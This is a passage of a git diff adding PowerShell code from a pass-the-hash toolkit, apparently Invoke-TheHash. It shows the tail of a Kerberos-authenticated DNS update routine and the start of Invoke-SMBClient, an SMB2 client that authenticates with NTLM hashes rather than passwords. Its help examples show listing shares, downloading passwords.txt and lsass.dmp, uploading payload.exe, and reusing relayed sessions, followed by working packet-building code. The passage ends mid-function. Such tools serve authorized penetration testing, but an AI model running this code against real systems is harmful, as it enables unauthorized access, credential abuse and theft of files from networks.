if($kerberos_tcpclient) + { + + if($Hash) + { + $base_key = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $base_key = $base_key.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $base_key = Get-KerberosAES256BaseKey $salt $password + } + + $ke_key = Get-KerberosAES256UsageKey encrypt 1 $base_key + $ki_key = Get-KerberosAES256UsageKey integrity 1 $base_key + $nonce = New-RandomByteArray 4 + $kerberos_client_stream = $kerberos_client.GetStream() + $kerberos_client_receive = New-Object System.Byte[] 2048 + $packet_AS_REQ = New-PacketKerberosASREQ $kerberos_username $kerberos_realm $domain_controller $nonce + $AS_REQ = ConvertFrom-PacketOrderedDictionary $packet_AS_REQ + $kerberos_client_send = $AS_REQ + $kerberos_client_stream.Write($kerberos_client_send,0,$kerberos_client_send.Length) > $null + $kerberos_client_stream.Flush() + $kerberos_client_stream.Read($kerberos_client_receive,0,$kerberos_client_receive.Length) > $null + [Byte[]]$PAC_Timestamp = New-KerberosPACTimestamp $ke_key + [Byte[]]$PAC_ENC_Timestamp = Protect-KerberosAES256CTS $ke_key $PAC_Timestamp + [Byte[]]$PAC_Timestamp_Signature = Get-KerberosHMACSHA1 $ki_key $PAC_Timestamp + $packet_AS_REQ = New-PacketKerberosASREQ $kerberos_username $kerberos_realm $domain_controller $nonce $PAC_ENC_Timestamp $PAC_Timestamp_Signature + $AS_REQ = ConvertFrom-PacketOrderedDictionary $packet_AS_REQ + $kerberos_client_send = $AS_REQ + $kerberos_client_stream.Write($kerberos_client_send,0,$kerberos_client_send.Length) > $null + $kerberos_client_stream.Flush() + $kerberos_client_stream.Read($kerberos_client_receive,0,$kerberos_client_receive.Length) > $null + $asrep_payload = [System.BitConverter]::ToString($kerberos_client_receive) + $asrep_payload = $asrep_payload -replace "-","" + $kerberos_client.Close() + $kerberos_client_stream.Close() + } + else + { + + try + { + + $Null = [System.Reflection.Assembly]::LoadWithPartialName("System.IdentityModel") + + if($username) + { + $creds = New-Object System.Management.Automation.PSCredential ($username,$Password) + $network_creds = $creds.GetNetworkCredential() + $network_creds.Domain = $domain + $token = New-Object System.IdentityModel.Selectors.KerberosSecurityTokenProvider ("DNS/$DomainController",[System.Security.Principal.TokenImpersonationLevel]::Impersonation,$network_creds) + $ticket = $token.GetToken([System.TimeSpan]::FromMinutes(1)) + } + else + { + $ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ("DNS/$DomainController") + } + + $asrep_key = $ticket.SecurityKey.GetSymmetricKey() + $kerberos_client_receive = $Ticket.GetRequest() + $asrep_payload = [System.BitConverter]::ToString($kerberos_client_receive) + $asrep_payload = $asrep_payload -replace "-","" + } + catch + { + $auth_success = $false + } + + } + + if($asrep_key -or ($asrep_payload.Length -gt 0 -and $asrep_payload -like '*A003020105A10302010B*')) + { + Write-Verbose "[+] Kerberos preauthentication successful" + $auth_success = $true + } + elseif($asrep_payload.Length -gt 0 -and $asrep_payload -like '*A003020105A10302011E*') + { + Write-Output ("[-] Kerberos preauthentication error 0x" + $asrep_payload.Substring(96,2)) + $auth_success = $false + } + else + { + Write-Output "[-] Kerberos authentication failure" + $auth_success = $false + } + + if($auth_success) + { + $ticket_index = $asrep_payload.IndexOf("A003020112A1030201") + $ticket_kvno = $kerberos_client_receive[($ticket_index / 2 + 9)] + + if($asrep_payload.Substring($ticket_index + 22,2) -eq '82') + { + $ticket_length = ([System.BitConverter]::ToUInt16($kerberos_client_receive[($ticket_index / 2 + 13)..($ticket_index / 2 + 12)],0)) - 4 + } + else + { + $ticket_length = $kerberos_client_receive[($ticket_index / 2 + 12)] - 3 + } + + $ticket = $Kerberos_client_receive[($ticket_index / 2 + 18)..($ticket_index/2 + 17 + $ticket_length)] + + if($kerberos_tcpclient) + { + $cipher_index = $asrep_payload.Substring($ticket_index + 1).IndexOf("A003020112A1030201") + $ticket_index + 1 + + if($asrep_payload.Substring($cipher_index + 22,2) -eq '82') + { + $cipher_length = ([System.BitConverter]::ToUInt16($kerberos_client_receive[($cipher_index / 2 + 13)..($cipher_index / 2 + 12)],0)) - 4 + } + else + { + $cipher_length = $kerberos_client_receive[($cipher_length / 2 + 12)] - 3 + } + + $cipher = $kerberos_client_receive[($cipher_index / 2 + 18)..($cipher_index / 2 + 17 + $cipher_length)] + $ke_key = Get-KerberosAES256UsageKey encrypt 3 $base_key + $asrep_cleartext = Unprotect-KerberosASREP $ke_key $cipher[0..($cipher.Count - 13)] + $kerberos_session_key = $asrep_cleartext[37..68] + $ke_key = Get-KerberosAES256UsageKey encrypt 11 $kerberos_session_key + $ki_key = Get-KerberosAES256UsageKey integrity 11 $kerberos_session_key + [Byte[]]$subkey = New-RandomByteArray 32 + [Byte[]]$sequence_number = New-RandomByteArray 4 + $packet_authenticator = New-KerberosAuthenticator $kerberos_realm $kerberos_username $subkey $sequence_number + [Byte[]]$authenticator = ConvertFrom-PacketOrderedDictionary $packet_authenticator + $authenticator = (New-RandomByteArray 16) + $authenticator + $authenticator_encrypted = Protect-KerberosAES256CTS $ke_key $authenticator + $authenticator_signature = Get-KerberosHMACSHA1 $ki_key $authenticator + $packet_apreq = New-PacketKerberosAPREQ $kerberos_realm $domain_controller $ticket_kvno $ticket $authenticator_encrypted $authenticator_signature + [Byte[]]$apreq = ConvertFrom-PacketOrderedDictionary $packet_apreq + [Byte[]]$mac_flags = 0x04 + } + else + { + [Byte[]]$apreq = $kerberos_client_receive + [Byte[]]$mac_flags = 0x00 + } + + $packet_DNSQuery = New-PacketDNSQuery $tkey_name 0x00,0xf9 $apreq + $DNSQueryTKEY = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery + $DNS_client = New-Object System.Net.Sockets.TCPClient + $DNS_client.Client.ReceiveTimeout = 3000 + + try + { + $DNS_client.Connect($DomainController,"53") + } + catch + { + Write-Output "$DomainController did not respond on TCP port 53" + } + + if($DNS_client.Connected) + { + $DNS_client_stream = $DNS_client.GetStream() + $DNS_client_receive = New-Object System.Byte[] 2048 + $DNS_client_send = $DNSQueryTKEY + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $tkey_payload = [System.BitConverter]::ToString($DNS_client_receive) + $tkey_payload = $tkey_payload -replace "-","" + + if($tkey_payload.Substring(8,4) -eq '8000') + { + Write-Verbose "[+] Kerberos TKEY query successful" + $TKEY_success = $true + } + else + { + Write-Output ("[-] Kerberos TKEY query error 0x" + $tkey_payload.Substring(8,4)) + $TKEY_success = $false + } + + if($TKEY_success) + { + + if($kerberos_tcpclient) + { + $cipher_index = $tkey_payload.IndexOf("A003020112A2") + $cipher_length = $DNS_client_receive[($cipher_index / 2 + 8)] + $cipher = $DNS_client_receive[($cipher_index / 2 + 9)..($cipher_index / 2 + 8 + $cipher_length)] + $ke_key = Get-KerberosAES256UsageKey encrypt 12 $kerberos_session_key + $tkey_cleartext = Unprotect-KerberosASREP $ke_key $cipher[0..($cipher.Count - 13)] + $acceptor_subkey = $tkey_cleartext[59..90] + } + else + { + $sequence_index = $tkey_payload.IndexOf("FFFFFFFFFF00000000") + $sequence_number = $DNS_client_receive[($sequence_index / 2 + 9)..($sequence_index / 2 + 12)] + $acceptor_subkey = $asrep_key + } + + $kc_key = Get-KerberosAES256UsageKey checksum 25 $acceptor_subkey + $time_signed = [Int](([DateTime]::UtcNow)-(Get-Date "1/1/1970")).TotalSeconds + $time_signed = [System.BitConverter]::GetBytes($time_signed) + $time_signed = 0x00,0x00 + $time_signed[3..0] + [Byte[]]$transaction_id = New-RandomByteArray 2 + $packet_DNSUpdate = New-PacketDNSUpdate $transaction_ID $DNSZone $DNSName $DNSType $DNSTTL $DNSPreference $DNSPriority $DNSWeight $DNSPort $DNSData $time_signed $tkey_name + [Byte[]]$DNSUpdateTSIG = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdate + $packet_DNSUpdateMAC = New-PacketDNSUpdateMAC $mac_flags $sequence_number + [Byte[]]$DNSUpdateMAC = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdateMAC + $DNSUpdateTSIG += $DNSUpdateMAC + $checksum = Get-KerberosHMACSHA1 $kc_key $DNSUpdateTSIG + $packet_DNSUpdateMAC = New-PacketDNSUpdateMAC $mac_flags $sequence_number $checksum + [Byte[]]$DNSUpdateMAC = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdateMAC + $packet_DNSUpdate = New-PacketDNSUpdate $transaction_ID $DNSZone $DNSName $DNSType $DNSTTL $DNSPreference $DNSPriority $DNSWeight $DNSPort $DNSData $time_signed $tkey_name $DNSUpdateMAC + [Byte[]]$DNSUpdateTSIG = ConvertFrom-PacketOrderedDictionary $packet_DNSUpdate + $DNS_client_send = $DNSUpdateTSIG + $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null + $DNS_client_stream.Flush() + $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null + $DNS_update_response_status = Get-DNSUpdateResponseStatus $DNS_client_receive + Write-Output $DNS_update_response_status + $DNS_client.Close() + $DNS_client_stream.Close() + } + + } + + } + + } + + } + +} diff --git a/Invoke-SMBClient.ps1 b/Invoke-SMBClient.ps1 new file mode 100644 index 0000000..1db92e5 --- /dev/null +++ b/Invoke-SMBClient.ps1 @@ -0,0 +1,2773 @@ +function Invoke-SMBClient +{ +<# +.SYNOPSIS +Invoke-SMBClient performs basic file share tasks with pass the hash. This module supports SMB2 (2.1) only with and +without SMB signing. Note that this client is slow compared to the Windows client. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the +username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.Parameter Action +Default = List: (List/Recurse/Delete/Get/Put) Action to perform. +List: Lists the contents of a directory. +Recurse: Lists the contents of a directory and all subdirectories. +Delete: Deletes a file. +Get: Downloads a file. +Put: Uploads a file and sets the creation, access, and last write times to match the source file. + +.PARAMETER Source +List and Recurse: UNC path to a directory. +Delete: UNC path to a file. +Get: UNC path to a file. +Put: File to upload. If a full path is not specified, the file must be in the current directory. When using the +'Modify' switch, 'Source' must be a byte array. + +.PARAMETER Destination +List and Recurse: Not used. +Delete: Not used. +Get: If used, value will be the new filename of downloaded file. If a full path is not specified, the file will be +created in the current directory. +Put: UNC path for uploaded file. The filename must be specified. + +.PARAMETER Modify +List and Recurse: The function will output an object consisting of directory contents. +Delete: Not used. +Get: The function will output a byte array of the downloaded file instead of writing the file to disk. It's +advisable to use this only with smaller files and to send the output to a variable. +Put: Uploads a byte array to a new destination file. + +.PARAMETER NoProgress +List and Recurse: Not used. +Delete: Not used. +Get and Put: Prevents displaying of a progress bar. + +.PARAMETER Sleep +Default = 100 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try increasing this +if downloaded files are being corrupted. + +.PARAMETER Session +Inveigh-Relay authenticated session. + +.EXAMPLE +List the contents of a root share directory. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose + +.EXAMPLE +Recursively list the contents of a share starting at the root. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share + +.EXAMPLE +Recursively list the contents of a share subdirectory and return only the contents output to a variable. +$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify + +.EXAMPLE +Delete a file on a share. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\payload.exe + +.EXAMPLE +Delete a file in subdirectories within a share. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\payload.exe + +.EXAMPLE +Download a file from a share. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt + +.EXAMPLE +Download a file from within a share subdirectory and set a new filename. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\lsass.dmp -Destination server_lsass.dmp + +.EXAMPLE +Download a file from a share to a byte array variable instead of disk. +[Byte[]]$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\passwords.txt -Modify +[System.Text.Encoding]::UTF8.GetString($password_file) + +.EXAMPLE +Upload a file to a share subdirectory. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source payload.exe -Destination \\server\share\subdirectory\payload.exe + +.EXAMPLE +Upload a file to share from a byte array variable. +Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.docx -Modify + +.EXAMPLE +List the contents of a share directory using an authenticated Inveigh-Relay session. +Invoke-SMBClient -Session 1 -Source \\server\share + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> +[CmdletBinding(DefaultParametersetName='Default')] +param +( + [parameter(Mandatory=$false)][ValidateSet("List","Recurse","Get","Put","Delete")][String]$Action = "List", + [parameter(Mandatory=$false)][String]$Destination, + [parameter(ParameterSetName='Default',Mandatory=$true)][String]$Username, + [parameter(ParameterSetName='Default',Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$true)][Object]$Source, + [parameter(ParameterSetName='Default',Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(Mandatory=$false)][Switch]$Modify, + [parameter(Mandatory=$false)][Switch]$NoProgress, + [parameter(ParameterSetName='Session',Mandatory=$false)][Int]$Session, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Logoff, + [parameter(ParameterSetName='Session',Mandatory=$false)][Switch]$Refresh, + [parameter(Mandatory=$false)][Int]$Sleep=100 +) + +function ConvertFrom-PacketOrderedDictionary +{ + param($packet_ordered_dictionary) + + ForEach($field in $packet_ordered_dictionary.Values) + { + $byte_array += $field + } + + return $byte_array +} + +#NetBIOS + +function New-PacketNetBIOSSessionService +{ + param([Int]$packet_header_length,[Int]$packet_data_length) + + [Byte[]]$packet_netbios_session_service_length = [System.BitConverter]::GetBytes($packet_header_length + $packet_data_length) + $packet_NetBIOS_session_service_length = $packet_netbios_session_service_length[2..0] + + $packet_NetBIOSSessionService = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NetBIOSSessionService.Add("Message_Type",[Byte[]](0x00)) + $packet_NetBIOSSessionService.Add("Length",[Byte[]]($packet_netbios_session_service_length)) + + return $packet_NetBIOSSessionService +} + +#SMB1 + +function New-PacketSMBHeader +{ + param([Byte[]]$packet_command,[Byte[]]$packet_flags,[Byte[]]$packet_flags2,[Byte[]]$packet_tree_ID,[Byte[]]$packet_process_ID,[Byte[]]$packet_user_ID) + + $packet_SMBHeader = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBHeader.Add("Protocol",[Byte[]](0xff,0x53,0x4d,0x42)) + $packet_SMBHeader.Add("Command",$packet_command) + $packet_SMBHeader.Add("ErrorClass",[Byte[]](0x00)) + $packet_SMBHeader.Add("Reserved",[Byte[]](0x00)) + $packet_SMBHeader.Add("ErrorCode",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Flags",$packet_flags) + $packet_SMBHeader.Add("Flags2",$packet_flags2) + $packet_SMBHeader.Add("ProcessIDHigh",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBHeader.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMBHeader.Add("TreeID",$packet_tree_ID) + $packet_SMBHeader.Add("ProcessID",$packet_process_ID) + $packet_SMBHeader.Add("UserID",$packet_user_ID) + $packet_SMBHeader.Add("MultiplexID",[Byte[]](0x00,0x00)) + + return $packet_SMBHeader +} + +function New-PacketSMBNegotiateProtocolRequest +{ + param([String]$packet_version) + + if($packet_version -eq 'SMB1') + { + [Byte[]]$packet_byte_count = 0x0c,0x00 + } + else + { + [Byte[]]$packet_byte_count = 0x22,0x00 + } + + $packet_SMBNegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNegotiateProtocolRequest.Add("WordCount",[Byte[]](0x00)) + $packet_SMBNegotiateProtocolRequest.Add("ByteCount",$packet_byte_count) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name",[Byte[]](0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)) + + if($packet_version -ne 'SMB1') + { + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat2",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name2",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x30,0x30,0x32,0x00)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_BufferFormat3",[Byte[]](0x02)) + $packet_SMBNegotiateProtocolRequest.Add("RequestedDialects_Dialect_Name3",[Byte[]](0x53,0x4d,0x42,0x20,0x32,0x2e,0x3f,0x3f,0x3f,0x00)) + } + + return $packet_SMBNegotiateProtocolRequest +} + +#SMB2 + +function New-PacketSMB2Header +{ + param([Byte[]]$packet_command,[Byte[]]$packet_credit_request,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("StructureSize",[Byte[]](0x40,0x00)) + $packet_SMB2Header.Add("CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("Command",$packet_command) + $packet_SMB2Header.Add("CreditRequest",$packet_credit_request) + $packet_SMB2Header.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("MessageID",$packet_message_ID) + $packet_SMB2Header.Add("ProcessID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SessionID",$packet_session_ID) + $packet_SMB2Header.Add("Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header +} + +function New-PacketSMB2NegotiateProtocolRequest +{ + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest +} + +function New-PacketSMB2SessionSetupRequest +{ + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest +} + +function New-PacketSMB2TreeConnectRequest +{ + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest +} + +function New-PacketSMB2IoctlRequest +{ + param([Byte[]]$packet_file_name) + + $packet_file_name_length = [System.BitConverter]::GetBytes($packet_file_name.Length + 2) + + $packet_SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Function",[Byte[]](0x94,0x01,0x06,0x00)) + $packet_SMB2IoctlRequest.Add("GUIDHandle",[Byte[]](0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff)) + $packet_SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("InData_Length",$packet_file_name_length) + $packet_SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("MaxIoctlOutSize",[Byte[]](0x00,0x10,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("InData_MaxReferralLevel",[Byte[]](0x04,0x00)) + $packet_SMB2IoctlRequest.Add("InData_FileName",$packet_file_name) + + return $packet_SMB2IoctlRequest +} + +function New-PacketRAPNetShareEnum +{ + param([String]$packet_server_UNC) + + $packet_RAPNetShareEnum = New-Object System.Collections.Specialized.OrderedDictionary + $packet_RAPNetShareEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) + $packet_RAPNetShareEnum.Add("PointerToServerUNC_MaxCount",$packet_MaxCount) + $packet_RAPNetShareEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RAPNetShareEnum.Add("PointerToServerUNC_ActualCount",$packet_MaxCount) + $packet_RAPNetShareEnum.Add("PointerToServerUNC_MaxCount",$packet_server_UNC) + $packet_RAPNetShareEnum.Add("PointerToLevel_Level",[Byte[]](0x01,0x00,0x02,0x00)) + $packet_RAPNetShareEnum.Add("PointerToCtr_NetShareCtr_Ctr",[Byte[]](0x01,0x00,0x02,0x00)) + $packet_RAPNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) + $packet_RAPNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_Ctr1_Count",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RAPNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_RAPNetShareEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_RAPNetShareEnum.Add("NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_RAPNetShareEnum +} + +function New-PacketSMB2CreateRequest +{ + param([Byte[]]$packet_file_name,[Int]$packet_extra_info,[Int64]$packet_allocation_size) + + if($packet_file_name) + { + $packet_file_name_length = [System.BitConverter]::GetBytes($packet_file_name.Length) + $packet_file_name_length = $packet_file_name_length[0,1] + } + else + { + $packet_file_name = 0x00,0x00,0x69,0x00,0x6e,0x00,0x64,0x00 + $packet_file_name_length = 0x00,0x00 + } + + if($packet_extra_info) + { + [Byte[]]$packet_desired_access = 0x80,0x00,0x10,0x00 + [Byte[]]$packet_file_attributes = 0x00,0x00,0x00,0x00 + [Byte[]]$packet_share_access = 0x00,0x00,0x00,0x00 + [Byte[]]$packet_create_options = 0x21,0x00,0x00,0x00 + [Byte[]]$packet_create_contexts_offset = [System.BitConverter]::GetBytes($packet_file_name.Length) + + if($packet_extra_info -eq 1) + { + [Byte[]]$packet_create_contexts_length = 0x58,0x00,0x00,0x00 + } + elseif($packet_extra_info -eq 2) + { + [Byte[]]$packet_create_contexts_length = 0x90,0x00,0x00,0x00 + } + else + { + [Byte[]]$packet_create_contexts_length = 0xb0,0x00,0x00,0x00 + [Byte[]]$packet_allocation_size_bytes = [System.BitConverter]::GetBytes($packet_allocation_size) + } + + if($packet_file_name) + { + + [String]$packet_file_name_padding_check = $packet_file_name.Length / 8 + + if($packet_file_name_padding_check -like "*.75") + { + $packet_file_name += 0x04,0x00 + } + elseif($packet_file_name_padding_check -like "*.5") + { + $packet_file_name += 0x00,0x00,0x00,0x00 + } + elseif($packet_file_name_padding_check -like "*.25") + { + $packet_file_name += 0x00,0x00,0x00,0x00,0x00,0x00 + } + + } + + [Byte[]]$packet_create_contexts_offset = [System.BitConverter]::GetBytes($packet_file_name.Length + 120) + + } + else + { + [Byte[]]$packet_desired_access = 0x03,0x00,0x00,0x00 + [Byte[]]$packet_file_attributes = 0x80,0x00,0x00,0x00 + [Byte[]]$packet_share_access = 0x01,0x00,0x00,0x00 + [Byte[]]$packet_create_options = 0x40,0x00,0x00,0x00 + [Byte[]]$packet_create_contexts_offset = 0x00,0x00,0x00,0x00 + [Byte[]]$packet_create_contexts_length = 0x00,0x00,0x00,0x00 + } + + $packet_SMB2CreateRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequest.Add("StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequest.Add("Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequest.Add("RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("DesiredAccess",$packet_desired_access) + $packet_SMB2CreateRequest.Add("FileAttributes",$packet_file_attributes) + $packet_SMB2CreateRequest.Add("ShareAccess",$packet_share_access) + $packet_SMB2CreateRequest.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequest.Add("CreateOptions",$packet_create_options) + $packet_SMB2CreateRequest.Add("NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequest.Add("NameLength",$packet_file_name_length) + $packet_SMB2CreateRequest.Add("CreateContextsOffset",$packet_create_contexts_offset) + $packet_SMB2CreateRequest.Add("CreateContextsLength",$packet_create_contexts_length) + $packet_SMB2CreateRequest.Add("Buffer",$packet_file_name) + + if($packet_extra_info) + { + 